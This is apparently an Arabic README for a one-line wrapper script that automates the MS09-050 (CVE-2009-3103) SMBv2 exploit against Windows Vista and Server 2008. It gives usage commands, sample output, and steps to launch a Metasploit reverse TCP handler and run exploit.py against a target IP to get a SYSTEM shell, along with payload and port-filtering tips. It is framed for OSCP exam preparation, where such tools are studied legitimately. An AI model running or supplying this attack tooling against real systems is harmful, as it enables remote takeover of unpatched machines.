MS09-050 SMBv2 مغلف استغلال

إعداد خط واحد لاستغلال MS09-050 (CVE-2009-3103). لا تعقيد، لا تنقيح، يعمل فقط.

لماذا؟

معظم نصوص MS09-050 المنتشرة تتطلب حقن شيلكود يدوي، تواجه مشاكل توقيت مع المعالجات، أو لا تعمل ببساطة. هذا المغلف:

• يولد شيلكود بمعاملات صحيحة
• يبني الاستغلال تلقائياً
• ينشئ معالج Metasploit جاهزاً للاستخدام
• يخبرك بالضبط ما يجب تشغيله

بُني لتحضير OSCP حيث الوقت مهم.

الهدف

• الثغرة: MS09-050 / CVE-2009-3103
• المتأثر: Windows Vista SP1/SP2, Windows Server 2008 (قبل R2)
• الخدمة: SMBv2 على المنفذ 445
• النتيجة: شل SYSTEM

المتطلبات

• Kali Linux (أو أي توزيعة مع Metasploit)
• msfvenom
• msfconsole
• python2
• rpcclient (عادة ما يكون مثبتاً مسبقاً)

الاستخدام

./ms09_050.sh <TARGET_IP> <YOUR_IP> [PORT]

مثال

./ms09_050.sh 192.168.233.40 192.168.45.232 443

Output:

[*] Target: 192.168.233.40 | LHOST: 192.168.45.232 | LPORT: 443
[*] Generating shellcode...
[+] Files created:
    - exploit.py
    - handler.rc

=== RUN ===

Terminal 1:  msfconsole -q -r handler.rc
Terminal 2:  python2 exploit.py 192.168.233.40

التنفيذ

1. الطرفية 1 - بدء المعالج:

   root@kitploit:~

   msfconsole -q -r handler.rc
   

   انتظر: Started reverse TCP handler on ...

2. الطرفية 2 - تشغيل الاستغلال:

   root@kitploit:~

   python2 exploit.py 192.168.233.40
   

3. تحقق من الطرفية 1 للحصول على الشل.

ملاحظات

• يستخدم حمولة مرحلية (windows/shell/reverse_tcp) - تعمل بشكل موثوق مع الممرر في هذا الاستغلال
• إذا فشل الاستغلال، قد يحتاج الهدف إلى إعادة تشغيل أو أنه ليس ضعيفاً
• المنفذ 443 موصى به إذا كان 4444 مرشحاً

الإسناد

الاستغلال الأصلي مبني على إثبات المفهوم الخاص بـ ohnozzy's MS09-050.

الترخيص

MIT - افعل ما تشاء، فقط لا تكن شريراً.